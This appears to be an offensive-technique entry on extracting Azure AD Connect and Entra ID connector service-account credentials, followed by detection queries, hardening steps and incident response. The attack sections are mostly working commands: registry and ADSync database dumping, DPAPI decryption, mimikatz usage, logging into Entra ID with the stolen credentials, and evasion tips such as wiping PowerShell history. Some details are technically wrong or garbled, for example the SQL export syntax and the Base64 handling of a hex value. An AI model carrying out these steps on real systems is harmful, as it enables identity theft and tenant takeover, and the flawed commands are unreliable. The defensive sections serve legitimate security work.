| Attribute | Details |
|---|---|
| Technique ID | MISCONFIG-017 |
| MITRE ATT&CK v18.1 | T1526 - Resource Discovery |
| Tactic | Defense Evasion / Discovery |
| Platforms | Entra ID, Azure, Hybrid Environments |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | Azure AD Connect 1.0+, Entra ID Connectors (all versions), Azure App Proxy Connectors |
| Patched In | Not applicable (configuration vulnerability, not a software bug) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Entra ID connectors (Azure AD Connect, App Proxy Connectors, Provisioning Agents, and Third-Party Synchronization Connectors) authenticate to Microsoft Entra ID using service account credentials. If these credentials are not rotated, use default or weak passwords, or are stored in plaintext within connector configuration files, attackers who gain access to the on-premises connector server can extract them and impersonate the synchronization service. This grants adversaries the ability to manipulate directory synchronization, bypass identity controls, and escalate privileges.
Attack Surface: On-premises connector servers (Azure AD Connect server, App Proxy connector machines, provisioning agents), connector configuration databases (LocalDB/SQL Server), registry keys, and credential stores.
Business Impact: Compromise of identity synchronization pipelines and lateral movement from on-premises to cloud. With connector credentials, attackers can intercept password hashes, modify user objects during synchronization, trigger unauthorized provisioning changes, and create persistent backdoor accounts in both AD and Entra ID that sync automatically.
Technical Context: Extraction of connector service credentials typically requires local administrative access to the connector server or access to the SQL Server database. Detection is difficult because legitimate synchronization traffic will mask malicious modifications. Reversibility is limited once synchronization has been compromised—forensic analysis requires audit log correlation across multiple systems.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.3.2 (Active Directory) / 1.2 (Azure) | Ensure that passwords are changed at least every 90 days, ensure administrative accounts are not used for service accounts, enable credential guard |
| DISA STIG | AC-2(1), IA-4(b), IA-5(1)(a) | Account Management, Identifier Management, Password Requirements |
| CISA SCuBA | ID.BE-1, PR.AC-1 | Business Environment Assessment, Access Control Policy |
| NIST 800-53 | AC-2, AC-5, IA-2, IA-5 | Account Management, Separation of Duties, Authentication, Password Requirements |
| GDPR | Art. 32 | Security of Processing (encryption, key management, access controls) |
| DORA | Art. 9 | Protection and Prevention (operational resilience, ICT risk management) |
| NIS2 | Art. 21 | Cyber Risk Management Measures (access controls, multi-factor authentication) |
| ISO 27001 | A.5.2, A.9.2, A.9.4 | Information Security Policies, User Access Management, Password Management |
| ISO 27005 | Risk scenario: “Unauthorized Access to Synchronization Service” | Risk of compromise of synchronization infrastructure due to weak credential management |
Supported Versions:
Tools:
Supported Versions: Server 2016 - 2019 - 2022 - 2025, Azure AD Connect 1.0+
Objective: Establish administrative privileges on the on-premises Azure AD Connect or provisioning agent server.
Command (Windows PowerShell - As Administrator):
whoami /groups
# Verify you are in BUILTIN\Administrators group
Expected Output:
BUILTIN\Administrators S-1-5-32-544 Group Mandatory
What This Means:
OpSec & Evasion:
$PROFILE or native executables).Remove-Item (Get-PSReadlineOption).HistorySavePathTroubleshooting:
Objective: Retrieve the plaintext or encoded credentials stored in the Windows registry that the synchronization service uses.
Command (Windows PowerShell - Registry Path Access):
# Azure AD Connect stores synchronization account credentials in the registry
$regPath = "HKLM:\SOFTWARE\Microsoft\Azure AD Sync\Connectors"
# List all connector entries
Get-ChildItem -Path $regPath | ForEach-Object {
$connectorName = $_.PSChildName
$properties = Get-ItemProperty -Path $_.PSPath
Write-Host "Connector: $connectorName"
Write-Host "Properties: $($properties | Out-String)"
}
# Alternative: Export entire registry subtree for offline analysis
reg export "HKLM\SOFTWARE\Microsoft\Azure AD Sync\Connectors" C:\temp\connectors.reg
Expected Output:
Connector: {connector-guid}
Properties:
PSPath : Microsoft.PowerShell.Core\Registry::HKLM\SOFTWARE\Microsoft\Azure AD Sync\Connectors\{guid}
PSParentPath : Microsoft.PowerShell.Core\Registry::HKLM\SOFTWARE\Microsoft\Azure AD Sync\Connectors
PSChildName : {guid}
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
ma-password : (encrypted blob)
ma-username : DOMAIN\SYNC_SERVICE_ACCOUNT
What This Means:
ma-username contains the service account (e.g., DOMAIN\SYNC_...).ma-password is an encrypted value that must be decrypted using the machine’s DPAPI (Data Protection API).OpSec & Evasion:
System.Security.Cryptography in PowerShell to decrypt DPAPI blobs locally.Troubleshooting:
reg query "HKLM\SOFTWARE\Microsoft\Azure AD Sync"psexec -s or runas.Objective: Recover plaintext credentials from encrypted registry values.
Command (Windows PowerShell - DPAPI Decryption):
# Decrypt DPAPI blob using the machine key
# First, export the encrypted value as base64
$encryptedBlob = [Convert]::FromBase64String("base64_encoded_blob_from_registry")
# Use Windows Data Protection API to decrypt
$decryptedBlob = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBlob,
$null,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser
)
# Convert to string
$plaintext = [System.Text.Encoding]::ASCII.GetString($decryptedBlob)
Write-Host "Decrypted Credential: $plaintext"
Expected Output:
Decrypted Credential: ServiceAccountPassword123!
What This Means:
OpSec & Evasion:
[System.Security.Cryptography.DataProtectionScope]::LocalMachine if decryption fails under CurrentUser scope.Troubleshooting:
psexec -s powershell.exe.dpapi::cred /in:C:\path\to\encrypted_fileReferences & Proofs:
Objective: Use the recovered connector credentials to authenticate to Entra ID and verify access.
Command (Windows PowerShell - Azure AD Authentication):
# Import Azure AD PowerShell module
Import-Module AzureAD
# Authenticate using the extracted service account credentials
$username = "DOMAIN\SYNC_service_account"
$password = "DecryptedPassword123!"
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential($username, $securePassword)
# Connect to Entra ID
Connect-AzureAD -Credential $credential
# Verify access by listing directory roles
Get-AzureADDirectoryRole | Select-Object DisplayName, ObjectId
Expected Output:
DisplayName ObjectId
----------- --------
Company Administrator 12345678-1234-1234-1234-123456789012
Directory Readers 87654321-4321-4321-4321-210987654321
Directory Synchronization 11111111-2222-2222-2222-222222222222
Accounts ...
What This Means:
OpSec & Evasion:
-UseDeviceAuthentication flag to avoid storing credentials in memory.References & Proofs:
Supported Versions: Server 2016 - 2019 - 2022 - 2025
Objective: Establish a connection to the LocalDB instance that stores connector configuration.
Command (SQL Server Management Studio or sqlcmd):
-- Azure AD Connect uses LocalDB instance: (LocalDb)\ADSync
-- Connect from command line:
sqlcmd -S "(LocalDb)\ADSync" -E
-- Once connected, list available databases:
SELECT name FROM sys.databases;
Expected Output:
name
----
master
model
msdb
ADSync
tempdb
What This Means:
ADSync database contains all connector configurations, encryption keys, and credentials.OpSec & Evasion:
-E flag) if you have local admin rights; this avoids password logging.Troubleshooting:
net start mssql$ADSync (or use Services.msc).Objective: Extract encrypted credentials from the ADSync database.
Command (SQL Server):
-- Use the ADSync database
USE ADSync;
-- Query the ma_directory_configuration table for connector details
SELECT id, name, password_encrypted, private_configuration
FROM dbo.ma_directory_configuration;
-- Export encrypted blob for offline decryption
SELECT
id,
name,
CONVERT(VARCHAR(MAX), password_encrypted) AS encrypted_password
FROM dbo.ma_directory_configuration
WHERE name LIKE '%Azure%' OR name LIKE '%Sync%';
Expected Output:
id name encrypted_password
-- ---- ------------------
1 Azure Active Directory 0x01000000D08C9DDF0...
2 Active Directory 0x01000000A1B2C3D4E...
What This Means:
password_encrypted column contains DPAPI-encrypted credentials.OpSec & Evasion:
SELECT INTO ... OUTFILE to export results to a text file that can be moved off the system.Troubleshooting:
sys.tables to list all available tables: SELECT * FROM sys.tables;ALTER ROLE db_owner ADD MEMBER [DOMAIN\User];Objective: Use the obtained encrypted blob to recover plaintext credentials.
Command (Windows PowerShell - DPAPI Decryption, same as METHOD 1, Step 3):
$encryptedBlob = [Convert]::FromBase64String("0x01000000D08C9DDF0...")
$decryptedBlob = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBlob,
$null,
[System.Security.Cryptography.DataProtectionScope]::LocalMachine
)
$plaintext = [System.Text.Encoding]::ASCII.GetString($decryptedBlob)
Write-Host "Service Account: $plaintext"
References & Proofs:
Supported Versions: Server 2016 - 2019 - 2022 - 2025
Objective: Use built-in Windows tools to extract stored credentials for the connector service account.
Command (Command Prompt - Credential Manager Export):
:: Export all stored credentials to a local file
cmdkey /list > C:\temp\creds.txt
:: Alternatively, use the Windows API through PowerShell
powershell -Command "
$creds = @(Get-ChildItem 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU')
foreach ($cred in $creds) {
Write-Host $cred.GetValue('')
}
"
Expected Output:
Currently stored credentials:
Target: Domain\SYNC_service_account
User: DOMAIN\SYNC_service_account
Type: Domain Password
What This Means:
OpSec & Evasion:
WirelessDiag.dll or other living-off-the-land binaries to access stored credentials without obvious tooling.cmdkey /delete:TargetTroubleshooting:
References & Proofs:
Version: 2.2.0 (current as of January 2026) Minimum Version: 2.1.0 Supported Platforms: Windows Endpoint, Windows Server
Version-Specific Notes:
Installation:
:: Download from GitHub
git clone https://github.com/gentilkiwi/mimikatz.git
:: Compile (requires Visual Studio or MinGW)
cd mimikatz\VS_Project\mimikatz
msbuild.exe mimikatz.sln /p:Configuration=Release /p:Platform=x64
:: Output: x64\Release\mimikatz.exe
Usage:
mimikatz.exe
privilege::debug
dpapi::cred /in:C:\path\to\encrypted_credential
vault::list
vault::cred /patch
Version: 0.9.8 (latest) Minimum Version: 0.9.0 Supported Platforms: Windows Endpoint, PowerShell 5.0+
Installation:
Install-Module -Name AADInternals -Force
Import-Module AADInternals
Usage:
# Extract and manipulate Entra ID objects using compromised connector credentials
$cred = Get-Credential
Connect-AADInt -Credentials $cred
Get-AADIntCompromisedSyncAccounts
Version: 1.0 Language: Python 3.7+
Installation:
git clone https://github.com/dirkjanm/pydigest.git
cd pydigest
pip install -r requirements.txt
python AADConnectDump.py --server TARGET_SERVER
Rule Configuration:
KQL Query:
let SyncServiceAccounts = dynamic(["SYNC_", "ADSync", "aad_", "azure_ad"]);
let SuspiciousOperations = dynamic(["Reset user password", "Set user principal name", "Set password reset policy"]);
AuditLogs
| where TimeGenerated > ago(1h)
| where OperationName in (SuspiciousOperations)
| where InitiatedBy.user.userPrincipalName has_any (SyncServiceAccounts)
| where Result == "Success"
| project TimeGenerated, InitiatedBy=InitiatedBy.user.userPrincipalName, OperationName, TargetResources=TargetResources[0].displayName, Result
| summarize Count=count() by InitiatedBy, OperationName
| where Count > 3
What This Detects:
Manual Configuration Steps (Azure Portal):
Suspicious Entra ID Connector ActivityHigh10 minutes1 hourManual Configuration Steps (PowerShell):
Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName `
-DisplayName "Suspicious Entra ID Connector Activity" `
-Query @"
let SyncServiceAccounts = dynamic(["SYNC_", "ADSync", "aad_", "azure_ad"]);
let SuspiciousOperations = dynamic(["Reset user password", "Set user principal name"]);
AuditLogs
| where TimeGenerated > ago(1h)
| where OperationName in (SuspiciousOperations)
| where InitiatedBy.user.userPrincipalName has_any (SyncServiceAccounts)
| where Result == "Success"
"@ `
-Severity "High" `
-Enabled $true
Source: Microsoft Docs: Azure Audit Log Analytics
Rule Configuration:
KQL Query:
AuditLogs
| where TimeGenerated > ago(24h)
| where OperationName == "Update service principal credentials"
| where TargetResources[0].displayName contains "AD Connect" or TargetResources[0].displayName contains "Sync"
| project TimeGenerated, InitiatedBy=InitiatedBy.user.userPrincipalName, Operation=OperationName, TargetApp=TargetResources[0].displayName, Result
What This Detects:
Event ID: 4688 (Process Creation)
Manual Configuration Steps (Group Policy):
gpupdate /force on target machinesEvent ID: 4722 (User Account Enabled)
Alert Name: “Sensitive Azure Key Vault operations detected”
Manual Configuration Steps (Enable Defender for Cloud):
Enforce strong password policies and credential rotation for all connector service accounts: Connector service accounts must use complex, unique passwords (minimum 32 characters) and be rotated every 60 days. Do not reuse passwords across synchronization and authentication services.
Manual Steps (Azure Portal - Entra ID Password Policies):
6032Manual Steps (PowerShell - Force Password Change):
# Rotate connector service account password
Set-ADAccountPassword -Identity "SYNC_service_account" -NewPassword (ConvertTo-SecureString "NewP@ssw0rdHere1234567890!@#$%^&*()" -AsPlainText -Force) -Reset
# Update password in Azure AD Connect
# Run Azure AD Connect configuration wizard and re-enter the new password
Disable plaintext credential storage in connector configuration files: Ensure all connector credentials are encrypted using DPAPI and Windows DPAPI is properly configured. Do not allow fallback to plaintext credentials.
Manual Steps (Azure AD Connect Server):
Stop-Service "ADSync"miiserver.exe.config file (typically at C:\Program Files\Microsoft Azure AD Sync\)<encryptionAlgorithm> section<encryptionAlgorithm>TripleDES</encryptionAlgorithm> (or stronger)Start-Service "ADSync"Validation Command:
$configPath = "C:\Program Files\Microsoft Azure AD Sync\miiserver.exe.config"
[xml]$config = Get-Content $configPath
$config.SelectSingleNode("//encryptionAlgorithm").InnerText
# Expected output: TripleDES or AES
Restrict access to connector server and database: Limit network access and local administrative privileges to the on-premises connector server. Use Just-In-Time (JIT) access for administration.
Manual Steps (Windows Firewall):
Allow SQL Server from Domain OnlyManual Steps (Network Security Group - Azure):
TCP, Port: 1433, Source: Restricted (list specific admin IPs only)100Implement Multi-Factor Authentication for connector service account: Even with compromised credentials, MFA should block unauthorized authentication.
Manual Steps (Entra ID Conditional Access):
MFA for Sync Service AccountsManual Steps (PowerShell):
$ConditionAccessName = "MFA for Sync Service Accounts"
$SyncAccountId = (Get-AzADUser -UserPrincipalName "SYNC_service@domain.onmicrosoft.com").Id
# Configure policy via Azure AD PowerShell
$policy = New-AzADConditionalAccessPolicy -Name $ConditionAccessName
Implement Conditional Access policies specific to connector accounts: Block authentication from unexpected geographic locations or non-trusted devices.
Manual Steps (Conditional Access Policy):
Block Suspicious Sync Account AccessEnable audit logging for all connector operations: Ensure comprehensive logging of all synchronization activities, credential changes, and authentications.
Manual Steps (Azure AD Connect Logging):
C:\Program Files\Microsoft Azure AD Sync\miiserver.exe.config<tracing> section:
<tracing>
<internalTracing enabled="true" logLevel="Verbose" />
</tracing>
Restart-Service ADSyncC:\ProgramData\Microsoft\Azure AD Connect\trace-*.logValidation Command (Verify Logging):
Get-Item "C:\ProgramData\Microsoft\Azure AD Connect\trace-*.log" | Select-Object LastWriteTime, Length | Sort-Object LastWriteTime -Descending | Select-Object -First 1
Apply Role-Based Access Control (RBAC) to limit connector privileges: Restrict the service account to only the “Directory Synchronization Accounts” role and remove any additional administrative roles.
Manual Steps (PowerShell - RBAC Configuration):
# Connect to Entra ID
Connect-AzureAD
# Get the sync service account
$syncAccount = Get-AzureADUser -Filter "userPrincipalName eq 'SYNC_service@domain.onmicrosoft.com'"
# Get the Directory Synchronization Accounts role
$dirSyncRole = Get-AzureADDirectoryRole -Filter "displayName eq 'Directory Synchronization Accounts'"
# If role doesn't exist, activate it first
if ($null -eq $dirSyncRole) {
$dirSyncRole = Enable-AzureADDirectoryRole -RoleTemplateId "6ba6a6d6-fc67-4fc2-978c-dde3f86e7537"
}
# Add the account to the role
Add-AzureADDirectoryRoleMember -ObjectId $dirSyncRole.ObjectId -RefObjectId $syncAccount.ObjectId
Validation Command (Verify Role Assignment):
Get-AzureADDirectoryRoleMember -ObjectId $dirSyncRole.ObjectId | Where-Object { $_.ObjectId -eq $syncAccount.ObjectId }
# Expected: Single entry showing the sync service account in the Directory Synchronization Accounts role only
Isolate connector server network access: Place the on-premises connector server in a separate security zone with strict egress and ingress filtering.
Manual Steps (Network Segmentation):
AADConnect-NSGTest-NetConnection -ComputerName login.microsoftonline.com -Port 443C:\Program Files\Microsoft Azure AD Sync\miiserver.exe.config (modified timestamp, DPAPI key changes)C:\ProgramData\Microsoft\Azure AD Connect\trace-*.log (suspicious operations, credential access patterns)C:\Windows\Temp\connectors.reg, C:\Temp\creds.txtHKLM\SOFTWARE\Microsoft\Azure AD Sync\Connectors (new entries, modified passwords)HKLM\SYSTEM\CurrentControlSet\Services\ADSync (service account changes)login.microsoftonline.com with non-standard TLS certificatesUpdate service principal, Reset user password, Set user password policy performed by sync service accountC:\ProgramData\Microsoft\Azure AD Sync\ADSync.mdf (contains encrypted credentials)C:\Users\SYNC_*\AppData\Local\ (cached tokens, credential manager stores)# Disable network adapter on connector server
Disable-NetAdapter -Name "Ethernet" -Confirm:$false
# Or disconnect in Azure:
Stop-AzVM -ResourceGroupName "RG-Name" -Name "AADConnect-VM" -NoWait
Manual (Azure Portal):
# Copy database for forensic analysis
Copy-Item "C:\ProgramData\Microsoft\Azure AD Sync\ADSync.mdf" "C:\Evidence\ADSync.mdf"
# Export encryption keys (if accessible)
$regPath = "HKLM:\SOFTWARE\Microsoft\Azure AD Sync"
reg export $regPath "C:\Evidence\AADSync_Registry.reg"
# Capture trace logs
Copy-Item "C:\ProgramData\Microsoft\Azure AD Connect\trace-*.log" "C:\Evidence\"
Manual (Windows):
C:\ProgramData\Microsoft\Azure AD Sync\# Change sync service account password immediately
Set-ADAccountPassword -Identity "SYNC_service_account" `
-NewPassword (ConvertTo-SecureString "NewComplexP@ssw0rd1234567890!@#$%^&*()" -AsPlainText -Force) -Reset
# Reset all Entra ID connector passwords via portal
# Manual step: Azure Portal → Azure AD Connect Sync → Restart synchronization
Command (Reset Compromised User Objects):
# If user objects were modified, reset them
# 1. Disable synchronization temporarily
Set-ADSyncScheduler -SyncCycleEnabled $false
# 2. Review and revert modified users in AD
# 3. Force full synchronization
Start-ADSyncSyncCycle -PolicyType Initial
Manual (Azure Portal):
AuditLogs
| where TimeGenerated > ago(72h)
| where InitiatedBy.user.userPrincipalName contains "SYNC_"
| where OperationName has_any ("Add member to group", "Add role member", "Grant permission")
| summarize by TargetResources[0].displayName, OperationName, TimeGenerated
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [REC-HYBRID-001] Azure AD Connect Configuration Enumeration | Attacker identifies the on-premises synchronization infrastructure |
| 2 | Initial Access | [IA-EXPLOIT-002] BDC Deserialization Vulnerability | Attacker gains initial compromise of the connector server |
| 3 | Privilege Escalation | [PE-EXPLOIT-001] PrintNightmare Remote RCE | Attacker escalates to local admin on connector server |
| 4 | Credential Access | [MISCONFIG-017] Default Connector Passwords | Attacker extracts synchronization service account credentials |
| 5 | Lateral Movement | [LM-AUTH-001] Pass-the-Hash (PTH) | Attacker uses credentials to move to domain controllers |
| 6 | Persistence | [PE-ACCTMGMT-014] Global Administrator Backdoor | Attacker creates persistent Entra ID admin account via sync |
| 7 | Impact | Data exfiltration via Exchange Online or SharePoint | Attacker accesses sensitive data through compromised sync account |